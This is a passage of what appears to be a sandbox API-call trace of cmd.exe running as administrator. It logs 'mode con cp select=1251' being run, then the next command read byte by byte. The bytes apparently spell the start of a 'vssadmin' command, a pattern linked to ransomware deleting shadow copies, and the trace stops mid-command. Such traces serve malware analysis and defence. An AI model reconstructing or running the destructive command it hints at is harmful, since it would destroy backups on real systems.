_String2="cmd ", _MaxCount=0x4) returned 10 [0033.990] GetProcessHeap () returned 0x310000 [0033.990] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x420) returned 0x329a80 [0033.990] SetErrorMode (uMode=0x0) returned 0x0 [0033.990] SetErrorMode (uMode=0x1) returned 0x0 [0033.990] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x329a90, lpFilePart=0x1ff150 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ff150*="Desktop") returned 0x25 [0033.990] SetErrorMode (uMode=0x0) returned 0x1 [0033.990] GetProcessHeap () returned 0x310000 [0033.990] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329a80, Size=0x66) returned 0x329a80 [0033.990] GetProcessHeap () returned 0x310000 [0033.990] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329a80) returned 0x66 [0033.991] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.991] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0033.991] GetProcessHeap () returned 0x310000 [0033.991] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x128) returned 0x311cd0 [0033.991] GetProcessHeap () returned 0x310000 [0033.991] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x240) returned 0x329b00 [0033.997] GetProcessHeap () returned 0x310000 [0033.997] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329b00, Size=0x12a) returned 0x329b00 [0033.997] GetProcessHeap () returned 0x310000 [0033.997] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329b00) returned 0x12a [0033.997] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.997] GetProcessHeap () returned 0x310000 [0033.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe8) returned 0x325b70 [0033.997] GetProcessHeap () returned 0x310000 [0033.997] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x325b70, Size=0x7e) returned 0x325b70 [0033.997] GetProcessHeap () returned 0x310000 [0033.997] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325b70) returned 0x7e [0033.999] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0xffffffffffffffff [0033.999] GetLastError () returned 0x2 [0033.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0xffffffffffffffff [0033.999] GetLastError () returned 0x2 [0033.999] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.999] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0x325c00 [0034.000] GetProcessHeap () returned 0x310000 [0034.000] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x28) returned 0x324640 [0034.000] FindClose (in: hFindFile=0x325c00 | out: hFindFile=0x325c00) returned 1 [0034.000] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0x325c00 [0034.000] GetProcessHeap () returned 0x310000 [0034.000] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324640, Size=0x8) returned 0x3298f0 [0034.000] FindClose (in: hFindFile=0x325c00 | out: hFindFile=0x325c00) returned 1 [0034.000] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0034.000] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0034.000] GetConsoleTitleW (in: lpConsoleTitle=0x1ff410, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0034.004] GetProcessHeap () returned 0x310000 [0034.004] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x21c) returned 0x329c40 [0034.004] GetConsoleTitleW (in: lpConsoleTitle=0x329c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0034.004] GetProcessHeap () returned 0x310000 [0034.004] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329c40, Size=0xa8) returned 0x329c40 [0034.004] GetProcessHeap () returned 0x310000 [0034.005] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329c40) returned 0xa8 [0034.005] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0034.005] GetProcessHeap () returned 0x310000 [0034.005] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329c40 | out: hHeap=0x310000) returned 1 [0034.005] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ff1c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ff188 | out: lpAttributeList=0x1ff1c8, lpSize=0x1ff188) returned 1 [0034.005] UpdateProcThreadAttribute (in: lpAttributeList=0x1ff1c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ff178, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ff1c8, lpPreviousValue=0x0) returned 1 [0034.005] GetStartupInfoW (in: lpStartupInfo=0x1ff2e0 | out: lpStartupInfo=0x1ff2e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0034.006] GetProcessHeap () returned 0x310000 [0034.006] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x20) returned 0x324640 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0034.006] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.007] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.011] GetProcessHeap () returned 0x310000 [0034.011] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324640 | out: hHeap=0x310000) returned 1 [0034.011] GetProcessHeap () returned 0x310000 [0034.011] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x12) returned 0x328900 [0034.011] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ff200*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ff1b0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1ff1b0*(hProcess=0x54, hThread=0x50, dwProcessId=0x9c4, dwThreadId=0x9c8)) returned 1 [0034.040] CloseHandle (hObject=0x50) returned 1 [0034.040] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0034.040] GetProcessHeap () returned 0x310000 [0034.040] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c230 | out: hHeap=0x310000) returned 1 [0034.040] GetEnvironmentStringsW () returned 0x32aa10* [0034.040] GetProcessHeap () returned 0x310000 [0034.040] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xae8) returned 0x32b500 [0034.040] FreeEnvironmentStringsW (penv=0x32aa10) returned 1 [0034.040] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0034.041] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0034.041] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1feab8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1feab8, ReturnLength=0x0) returned 0x0 [0034.041] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x1feaf0, nSize=0x380, lpNumberOfBytesRead=0x1feab0 | out: lpBuffer=0x1feaf0*, lpNumberOfBytesRead=0x1feab0*=0x380) returned 1 [0034.041] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0034.484] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1ff0f8 | out: lpExitCode=0x1ff0f8*=0x0) returned 1 [0034.484] CloseHandle (hObject=0x54) returned 1 [0034.484] _vsnwprintf (in: _Buffer=0x1ff368, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ff108 | out: _Buffer="00000000") returned 8 [0034.484] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0034.484] GetProcessHeap () returned 0x310000 [0034.484] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b500 | out: hHeap=0x310000) returned 1 [0034.484] GetEnvironmentStringsW () returned 0x32aa10* [0034.484] GetProcessHeap () returned 0x310000 [0034.484] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb0e) returned 0x32eb10 [0034.484] FreeEnvironmentStringsW (penv=0x32aa10) returned 1 [0034.484] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0034.484] GetProcessHeap () returned 0x310000 [0034.484] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32eb10 | out: hHeap=0x310000) returned 1 [0034.485] GetEnvironmentStringsW () returned 0x32aa10* [0034.485] GetProcessHeap () returned 0x310000 [0034.485] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb0e) returned 0x32eb10 [0034.485] FreeEnvironmentStringsW (penv=0x32aa10) returned 1 [0034.485] GetProcessHeap () returned 0x310000 [0034.485] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328900 | out: hHeap=0x310000) returned 1 [0034.485] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ff1c8 | out: lpAttributeList=0x1ff1c8) [0034.558] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0034.558] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.558] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0034.558] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.558] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49fee194 | out: lpMode=0x49fee194) returned 0 [0034.559] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.559] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49fee198 | out: lpMode=0x49fee198) returned 0 [0034.559] GetConsoleOutputCP () returned 0x4e3 [0034.559] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49ffbfe0 | out: lpCPInfo=0x49ffbfe0) returned 1 [0034.560] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325b70 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329b00 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311cd0 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329a80 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3298a0 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311ab0 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326510 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324610 | out: hHeap=0x310000) returned 1 [0034.560] GetProcessHeap () returned 0x310000 [0034.560] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3297e0 | out: hHeap=0x310000) returned 1 [0034.560] _vsnwprintf (in: _Buffer=0x4a006340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ff628 | out: _Buffer="\r\n") returned 2 [0034.560] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.560] GetFileType (hFile=0xf4) returned 0x3 [0034.560] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.560] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0034.560] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ff5f8, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff5f8*=0x2, lpOverlapped=0x0) returned 1 [0034.561] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0034.561] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ffc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.561] _vsnwprintf (in: _Buffer=0x49feeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ff638 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0034.561] _vsnwprintf (in: _Buffer=0x49feebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1ff638 | out: _Buffer=">") returned 1 [0034.561] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.561] GetFileType (hFile=0xf4) returned 0x3 [0034.561] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.561] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0034.561] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1ff628, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff628*=0x26, lpOverlapped=0x0) returned 1 [0034.561] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.561] GetFileType (hFile=0xe8) returned 0x3 [0034.561] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.561] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.561] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.561] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0034.561] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.561] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.561] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.561] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0034.561] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.561] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.561] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.562] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.562] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0034.562] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.562] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 